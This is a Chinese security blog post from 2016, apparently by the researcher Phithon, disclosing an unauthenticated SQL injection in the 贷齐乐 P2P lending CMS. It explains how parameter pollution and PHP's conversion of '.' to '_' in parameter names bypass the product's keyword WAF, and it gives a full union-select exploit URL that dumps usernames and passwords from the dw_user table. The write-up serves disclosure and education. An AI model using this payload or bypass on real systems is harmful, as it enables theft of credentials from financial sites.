PHITHON的公开漏洞贷齐乐系统最新版SQL注入(无需登录绕过WAF可union select跨表查询) 2016-09-06
贷齐乐系统最新版SQL注入(无需登录绕过WAF可union select跨表查询)
贷齐乐系统最新版SQL注入,无需登录绕过WAF可union select跨表查询,用官方给的例子『宁波贷』作为验证。
绕过WAF,是不是还有额外奖金呢?
0x01 被WAF武装的贷齐乐
随便给一个贷齐乐最新版的SQL注入,如 http://.../index.php?blog&q=viewfast&id=xxx ,测试后可以发现,根本无法获取任何敏感信息,连数据库版本和用户名都没法获取。
贷齐乐这个系统,说起来也是安全问题比较严重的P2P金融类的CMS。由于连续出了多次安全漏洞,所以官方给贷齐乐系统中添加了严重影响正常使用的变态WAF。
我们先来看看WAF都有哪些功能。(由于我的代码非最新版,所以可能和实际测试有些出入)
/core/sqlin.inc.php,包含在config.inc.php中,所有请求都会经由此类过滤:
1 | class sqlin { |
GET/POST/REQUEST三个变量,都会经过这个正则:select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile
,你怕了吗?
一旦遇到select,包括单引号,包括注释符,就立即exit整个流程。
我们在宁波贷官网测试一下效果:
吓哭了吧?
这还只是WAF之一,再看 /core/safe.inc.php
1 | /* 检查和转义字符 */ |
GET/POST/REQUEST/COOKIE都会经过这个替换str_replace(array('&', '"', '<', '>','(',')'), array('&', '"', '<', '>','(',')'), $string)
,你怕了吗?
这个替换最明显的效果,就是所有的英文括号都变成中文括号,这导致我后面的SQL注入过程遇到了很大麻烦。
比如文章开头给的注入点,因为没有括号也没有select,所以我拿不到任何敏感信息:
所以,原本千疮百孔的贷齐乐,穿了一件钢铁盔甲,仿佛成为了一个『安全』的P2P金融系统。
0x02 变量获取的逻辑顺序
那么,我们来总结一下贷齐乐这个CMS的特点:
- SQL注入漏洞很多
- WAF拦截导致无法获取敏感信息
那么,如果想找到可以使用的SQL注入漏洞,首要任务就是绕过WAF。通过阅读源码,我列出贷齐乐系统对于输入(包括WAF)的处理过程:
index.php -> config.inc.php -> sqlin.php -> safe.inc.php
sqlin.php是对select、union、’等关键字的拦截。一旦发现存在这些关键字,就exit出整个执行流程。
safe.inc.php是替换一些敏感字符,比如<、>、(、)等。
但我在safe.inc.php里找到了如下一段代码(在替换之前):
1 | $request_uri = explode("?", $_SERVER['REQUEST_URI']); |
将$_SERVER['REQUEST_URI']
用?分开,?后面的内容再用&切割成数组,遍历这个数组。对数组中的每个字符串,再用=分成0和1,最后填入到$_REQUEST
数组中:$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
这个过程等于手工处理了一遍REQUEST_URI,将REQUEST_URI中的字符串分割成数组覆盖到REQUEST里。
按道理来说并没有什么大错误,但试想:这个过程是在我们的第一道WAF之后进行的,假设我们有一个方法让第一道WAF认为请求中没有恶意字符,再通过这里的覆盖,将恶意字符引入$_REQUEST
中,就可以造成WAF的绕过了。
那么有什么办法让第一道WAF认为请求中没有恶意字符?这其实是个很难的问题,因为WAF会检测所有请求数组,只要有一个数组内的值存在问题,就直接退出。
0x03 PHP小特性带来的大作用
说漏洞之前,我们先写一个小脚本,在本地测试一些东西:
1 | <?php |
很简单一个输出请求数据的脚本。我们访问这个链接:/t.php?foo1=11111&foo1=22222
输出的是22222,也就是说,当我们输入两个相同名字的参数的时候,php是取后一个的。这就是HTTP Parameter Pollution在PHP中的表现。
我将测试代码修改为如下:
1 |
|
访问/t.php?foo2=11111&foo2=22222,看看效果:
输出的是22222,也就是说,当我们输入两个相同名字的参数的时候,这段脚本也是取后一个的。
实验做完了,回到漏洞。
我一直在思考,假设我有一个办法,在第一次WAF检测参数的时候,检测的是22222,但后面覆盖request的时候,拿到的是11111,那么不就可以造成WAF的绕过了么?
但上述两个实验的结果表示,我这个假设是不成立的。二者获取的结果都是22222 。那么,这个思路是否就是不可行的了?
撸大师曾经提到过一个php特性: http://wooyun.org/bugs/wooyun-2010-064792
php自身在解析请求的时候,如果参数名字中包含” “、”.”、”[“这几个字符,会将他们转换成下划线。
那么假设我发送的是这样一个请求: /t.php?user_id=11111&user.id=22222 ,php先将user.id转换成user_id,即为/t.php?user_id=11111&user_id=22222 ,再获取到的$_REQUEST['user_id']
就是22222。
可在$_SERVER['REQUEST_URI']
中,user_id和user.id却是两个完全不同的参数名,那么切割覆盖后,获取的$_REQUEST['user_id']
却是11111。
完美践行了我上述的思路:WAF检测的是22222,实际插入数据库的却是11111.
0x04 实践是检验真理的唯一标准
上一节,实际上都是我在YY,这一节我需要找到一个真正满足条件的漏洞来。上述的绕过思路是有条件限制的,如下:
- 先需要找到一个注入点
- 注入点可控变量需要获取自$_REQUEST
- 变量的名字必须包含下划线
好找吗?其实在千疮百孔的贷齐乐系统中,这些条件很容易满足。文件 /core/user.class.php 394行:
1 | public static function GetOne($data = array()){ |
这个user_id,就可以满足条件。我们访问如下链接,即可发现报错:
可说明这是一个SQL注入。我们用常规SQL注入手段,即可发现被WAF拦截:
那么我们用上一节说的手法,加个user.id=123123,试试还会不会被拦截了:
妥妥了,不拦截了,而且SQL注入也可以正常进行。
因为获取的是REQUEST_URI,所以特殊字符会被url编码,没关系可以用一些关键词替换。另外,我们这个方法只能绕过检测的WAF,没法绕过safe.inc.php里替换的WAF,所以还是没法使用括号。
即使如此,对于union select注入来说,括号什么的完全不需要呀~
最后构造的exp为:
1 | http://**.**.**.**/?query_site=home&user_id=-1/**/Union/**/SElect/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,username,password,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194/**/from/**/dw_user/**/limit/**/0,1&user.id=1 |
可以直接注射获得任意数据库内信息,比如管理员密码:
0x05 总结
这个洞的挖掘包括利用其实很巧妙,利用的是hpp+php特性,来绕过CMS应用中变态的WAF。造成漏洞 的根本原因不在hpp,也不在php的这个特性,根本原因是贷齐乐内部存在太多显而易见的SQL注入漏洞。
但由于其官方开发人员过于相信WAF,或者说他们并没有正确处理SQL注入漏洞的能力,只能通过拦截一些关键字来抵御SQL注入。那么一旦WAF被绕过,将造成无法挽回的损失。